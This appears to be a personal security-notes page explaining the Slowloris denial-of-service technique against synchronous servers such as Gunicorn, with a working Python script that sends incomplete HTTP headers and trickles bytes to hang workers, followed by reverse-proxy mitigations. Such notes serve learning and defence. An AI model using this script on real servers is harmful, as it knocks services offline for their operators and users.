🧠 Slowloris
What is it?
- Concept: A Denial of Service (DoS) technique that operates at the application layer (Layer 7). Instead of overwhelming the server with a high volume of traffic, it relies on opening multiple connections and keeping them open as long as possible by sending partial HTTP requests (headers or body data) at a very slow pace, or simply hanging the connection.
- Impact: Resource Exhaustion, Denial of Service (DoS), Application Hang, and in specific contexts (like Gunicorn), forcing worker threads to time out and restart.
How it works
- Initiation: The attacker opens a raw TCP socket connection to the target web server.
- Deception: The attacker sends an incomplete HTTP request. This typically involves declaring a massive payload size (e.g.,
Content-Length: 9999999) but only transmitting the initial headers. - The Hang: The attacker intentionally stops sending data or trickles a single byte every few seconds.
- Exhaustion: The server’s worker thread executes a blocking
read()operation, waiting for the rest of the promised data. Because the connection remains active, the thread is tied up. If enough workers are frozen, legitimate users cannot access the service. If the server has a strict internal timeout (e.g., Gunicorn’s 30-second heartbeat check), the master process will violently kill and respawn the frozen worker.
Exploitation
Exploitation
Prerequisites:
- Network access to the target port.
- Target application running a thread-based or synchronous worker architecture (e.g., raw Gunicorn, Apache) directly exposed without a buffering reverse proxy.
Attack Vectors
Python Socket Hang (Targeting Gunicorn Worker Timeouts): This script forces a Gunicorn worker to hang by declaring a large payload and failing to deliver it, triggering the master process to kill the worker after 30 seconds.
import socket
import time
import sys
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Declare a massive payload but only send the headers
headers = (
"POST / HTTP/1.1\r\n"
f"Host: {target_ip}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 9999999\r\n"
"\r\n"
)
s.send(headers.encode('utf-8'))
print("[+] Initial headers sent. Starting the Slowloris trickle...")
try:
# Hang the connection to trigger the server's internal timeout
while True:
s.send(b"A")
print(" [+] Sent 1 byte to keep connection alive...")
time.sleep(10)
except Exception as e:
print(f"\n[!] Connection dropped by server: {e}")
s.close()Mitigation
-
Fix: Do not expose synchronous web servers (like Gunicorn or Waitress) directly to the internet. Place them behind a robust reverse proxy like Nginx or HAProxy. These proxies buffer incoming requests and drop slow or incomplete connections before they ever reach the backend application workers.
-
Tuning: Configure strict
client_body_timeoutandclient_header_timeoutdirectives on the reverse proxy.
Related Usage
TABLE creation_date AS "Created"
FROM "05 - Content"
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩")
SORT file.name ASC